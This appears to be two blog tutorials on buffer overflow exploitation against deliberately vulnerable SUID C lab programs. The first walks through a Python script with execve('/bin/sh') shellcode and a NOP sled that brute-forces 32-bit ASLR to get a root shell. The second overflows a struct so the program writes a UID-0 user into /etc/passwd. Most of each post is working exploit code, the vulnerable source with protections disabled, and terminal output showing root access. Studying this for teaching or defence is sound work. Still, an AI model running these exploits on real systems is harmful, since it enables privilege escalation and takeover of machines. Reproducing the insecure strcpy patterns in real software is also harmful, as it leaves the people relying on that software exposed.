Exploiting Simple Buffer Overflow (2) - Shellcode + ASLR Bruteforcing

Hi! For my second article on exploiting simple buffer overflow, I want to talk about bruteforcing against ASLR (Address Space Layout Randomization). For those who are not so familiar with ASLR, it is a common countermeasure technique against traditional stack-based stack buffer overflow exploit— it randomizes the memory address layout (e.g. stack) every time a program is run so that an attacker cannot know the exact location of shellcode/variable/etc beforehand. It is enabled by default for most recent operation systems, and it is fairly effective for 64-bit systems (the range of randomization of address layout is 28-bit). However, for 32-bit systems, the range of randomization of address layout is so much smaller that bruteforcing is feasible.

So, in this article, I will demonstrate a bruteforce against ASLR in 32-bit system, so that an arbitrary shellcode can be run. Note that other countermeasure techniques (e.g. DEP, Canary) are not used for the sake of simplicity in this experiment. (I promise that I will post about attacks against these techniques in the future!) Also, source code used in this article can be downloaded from here.


I will use Ubuntu 14.04 32-bit for this experiment.

canopus@canopus:~/bof_lab/bof|master
⇒  uname -a
Linux canopus 3.16.0-50-generic #67~14.04.1-Ubuntu SMP Fri Oct 2 22:08:53 UTC 2015 i686 i686 i686 GNU/Linux
canopus@canopus:~/bof_lab/bof|master
⇒  lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.3 LTS
Release:	14.04
Codename:	trusty
canopus@canopus:~/bof_lab/bof|master
⇒  gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

And here is a simple vulnerable program that I will use. As you can see, vuln() function has a buffer overflow vulnerability when strcpy is called.

#include    <stdio.h>
#include    <stdlib.h>
#include    <assert.h>
#include	<string.h>


void vuln (const char* arg){
	char buffer[100];
	strcpy(buffer, arg);
	printf("Hello %s\n", buffer);
	printf("[+] buffer @ %p\n", buffer);
}

int main (int argc, char **argv){
	
	if (argc != 2) {
		printf("Usage: %s <buffer>\n", argv[0]);
		exit(1);
	}
	vuln(argv[1]);
		return 0;
}

And for Makefile, make sure that -fno-stack-protector and -z execstack are included in the flags.

CC=gcc
CFLAGS=-std=c99 -Wall -fno-stack-protector -z execstack

all: bof

bof: bof.o
	$(CC) $(CFLAGS) -o $@ $^
	sudo chown 0:0 $@
	sudo chmod u+s $@

bof.o: bof.c

clean:
	rm bof.o bof

After it was compiled, make sure that ASLR is turned on. Note that echo 1 | sudo tee /proc/sys/kernel/randomize_va_space can turn on ASLR. (echo 0 to disable, echo 2 to enable full ASLR)

canopus@canopus:~/bof_lab/bof|master⚡
⇒  echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
1
canopus@canopus:~/bof_lab/bof|master⚡
⇒  gdb -q ./bof
Reading symbols from ./bof...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Let’s examine how the program behaves when its buffer is overflowed.

canopus@canopus:~/bof_lab/bof|master⚡
⇒  gdb -q ./bof
Reading symbols from ./bof...(no debugging symbols found)...done.
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
Starting program: /home/canopus/bof_lab/bof/bof 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA
[+] buffer @ 0xbf991ccc

Program received signal SIGSEGV, Segmentation fault.
(...)

gdb-peda$ pattern_search
Registers contain pattern buffer:
EIP+0 found at offset: 112		(<== offset: 112)
EBP+0 found at offset: 108
(...)

gdb-peda$ p $eip
$1 = (void (*)()) 0x41384141

As you can see, 4 bytes starting from 112th character in the input string will overwrite EIP.

Let’s also check how ASLR affects the address of buffer.

canopus@canopus:~/bof_lab/bof|master⚡
⇒  ./bof AAAA
Hello AAAA
[+] buffer @ 0xbfe9a8fc
canopus@canopus:~/bof_lab/bof|master⚡
⇒  ./bof AAAA
Hello AAAA
[+] buffer @ 0xbfb43e4c
canopus@canopus:~/bof_lab/bof|master⚡
⇒  ./bof AAAA
Hello AAAA
[+] buffer @ 0xbf8c941c

As you can see, the location of buffer is randomized every time the program is run, and it is impossible to guess its exact location for the next execution. However, if you examine the location of buffer enough times, you will realize that its location is within the range of 0xbf*****c. In this case, there are 1048576 possible locations where buffer is loaded. So, you can use a strategy — randomly pick a memory address within the valid range, and run the program repeatedly until buffer happens to be located at that location and that’s when the shellcode is executed.

Let’s also write a shellcode that executes ‘/bin/sh’ so you can get a shell. I will not explain the details of how to write shellcode, but there are lots of resources on the web that you can find very useful.

global _start

section .text

_start:
	xor eax, eax
	push eax

	push 0x68732f2f		;//sh
	push 0x6e69622f		;/bin
	mov ebx, esp		;moving the pointer to "/bin//sh" to ebx

	push eax			;push 0 (=eax)
	mov edx, esp		;moving 0 to edx

	push ebx
	mov ecx, esp		;moving the pointer to "/bin//sh" to ecx

	mov al, 11
	int 0x80			;execv syscall

Now, we have everything that’s needed to exploit this program. Below is the exploit code written in Python. Note that in order to increase the chance of shellcode being executed, I added 4096 bytes of NOP instruction right before the inserted shellcode. In this way, if the returned address (=addr_buffer+bufsize+offset+4) happens to be within this NOP range, the shellcode is properly executed as well (the longer the NOP sled, the less number of attempts necessary for a successful attack).

#!/usr/bin/python

import struct, sys, time
from subprocess import PIPE, Popen

# exec /bin/sh
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

bufsize = 100
offset = 12     #incl. saved ebp
nopsize = 4096

def prep_buffer(addr_buffer):
    buf = "A" * (bufsize+offset)
    buf += struct.pack("<I",(addr_buffer+bufsize+offset+4))
    buf += "\x90" * nopsize
    buf += shellcode
    return buf

def brute_aslr(buf):
    p = Popen(['./bof', buf]).wait()

if __name__ == '__main__':
    addr_buffer = 0xbf92b39c    # randomly decided
    buf = prep_buffer(addr_buffer)
    i = 0
    while True:
        print i
        brute_aslr(buf)
        i += 1

And here it is! The shell was given after 998 attempts in my case. You can experiment in your environment too. Normally for this program with 4096 bytes of NOP sled, around 1000 times of attempts are necessary for a successful attack, which is significantly less than 1048576 (the number of possible address location of buffer)!

canopus@canopus:~/bof_lab/bof|master⚡
⇒  python exploit.py
(...)
(...)

[+] buffer @ 0xbfc2bc0c
996
(... snippet)

[+] buffer @ 0xbfb9930c
997
(... snippet)

[+] buffer @ 0xbf92721c
998
(... snippet)

[+] buffer @ 0xbf92a26c
# whoami
root

Exploiting Simple Buffer Overflow (1) - Super Basics

Recently I’ve been revising the concept of buffer overflow and its exploitation, so I will post a sequence of articles on this topic with varying settings. In this article, let’s exploit a simple SUID-ed program with a stack-based BOF to add a new root-priviledged user with a chosen password. This example is referenced from the book Hacking: the Art of Exploitation.


taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  uname -a
Linux sirius 3.13.0-63-generic #103-Ubuntu SMP Fri Aug 14 21:42:59 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.3 LTS
Release:	14.04
Codename:	trusty
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  gcc --version 
gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

I’m using x86_64, but I will compile the program in 32bit mode.

#include    <stdio.h>
#include	<stdlib.h>
#include	<string.h>
#include	<fcntl.h>
#include	<unistd.h>

struct data {
	char buffer[100];
	char datafile[20];
};

int main (int argc, char **argv){
	struct data data;

	strcpy(data.datafile, "/var/notes");

	if (argc < 2) {
		printf("Usage: %s <buffer>\n", argv[0]);
		exit(1);
	}

	strcpy(data.buffer, argv[1]);

	printf("[DEBUG] data.buffer @ %p: \'%s\'\n", data.buffer, data.buffer);
	printf("[DEBUG] data.datafile @ %p: \'%s\'\n", data.datafile, data.datafile);

	int fd;
	fd = open(data.datafile, O_WRONLY| O_APPEND);
	printf("[DEBUG] fd @ %p: %d\n", &fd, fd);

	if (write(fd, data.buffer, strlen(data.buffer)) == -1) {
		fprintf(stderr, "in main() - no write\n");
		exit(1);
	}
	if (close(fd) == -1) {
		fprintf(stderr, "in main() - no close\n");
		exit(1);
	}
		return 0;
}

The program shown above simply appends buffer to the file /var/notes. When strcpy is called to copy argv[1] to buffer, it can cause a buffer overflow — when more than 100 characters are stored in argv[0], then the remaining string would be overflowed. The Makefile shown below is used to compile and chown/chmod the program.

CC=gcc
CFLAGS=-m32 -std=c99 -Wall

all: pass_change

pass_change: pass_change.o
	$(CC) $(CFLAGS) -o $@ $^
	sudo chown 0:0 $@
	sudo chmod u+s $@

pass_change.o: pass_change.c

clean:
	rm pass_change.o pass_change

When argv[1] is not over 100 characters, it works perfectly.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  sudo touch /var/notes
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ./pass_change AAAA                      
[DEBUG] data.buffer @ 0xffce9dd4: 'AAAA'
[DEBUG] data.datafile @ 0xffce9e38: '/var/notes'
[DEBUG] fd @ 0xffce9dd0: 3
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  cat /var/notes 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  python -c "print 0xffce9e38-0xffce9dd4"
100

Since the offset between buffer and datafile is 100 (same as the size of buffer), the overflowed strings of argv[1] will be overwritten to datafile.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ./pass_change $(perl -e 'print "A"x120')
[DEBUG] data.buffer @ 0xffed7924: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] data.datafile @ 0xffed7988: 'AAAAAAAAAAAAAAAAAAAA'
[DEBUG] fd @ 0xffed7920: -1
in main() - no write

By exploiting this BOF, let’s create a new user with a chosen password by appending to /etc/passwd file. Following the format of /etc/passwd in UNIX system, I will add username myroot with password passwordmyroot:AA6tQYSfGxd/A:0:0:me:/root:/bin/bash. As shown below, password is encrypted using Crypto() OpenSSL cryptographic library with a salt “AA”. Note that the 3rd & 4th entry (i.e. “0:0”) indicates root privilege. If you want to know the format of /etc/passwd more in detail, refer to a link here.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e "print crypt('password', 'AA')"         
AA6tQYSfGxd/A

The content of datafile needs to be /etc/passwd, but the last entry in /etc/passwd needs to specify the user’s default shell. So, let’s create a symbolic link with the name /tmp/etc/passwd pointing to /bin/bash. Then, adjust the length of the user ID info (comment section), so that the location of /etc/passwd would be at 100.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ln -s /bin/bash /tmp/etc/passwd  
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x50 . ":/root:/tmp"' | wc -c
86
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp"' | wc -c
100
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp" . "/etc/passwd"'
myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd

Good. And here it is, you get the root shell.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ./pass_change $(perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp" . "/etc/passwd"') 
[DEBUG] data.buffer @ 0xff8541b4: 'myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG] data.datafile @ 0xff854218: '/etc/passwd'
[DEBUG] fd @ 0xff8541b0: 3
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  cat /etc/passwd | grep myroot
myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  su myroot
Password: 
root@sirius:/home/taishi/blackhat_python/bof_lab# whoami
root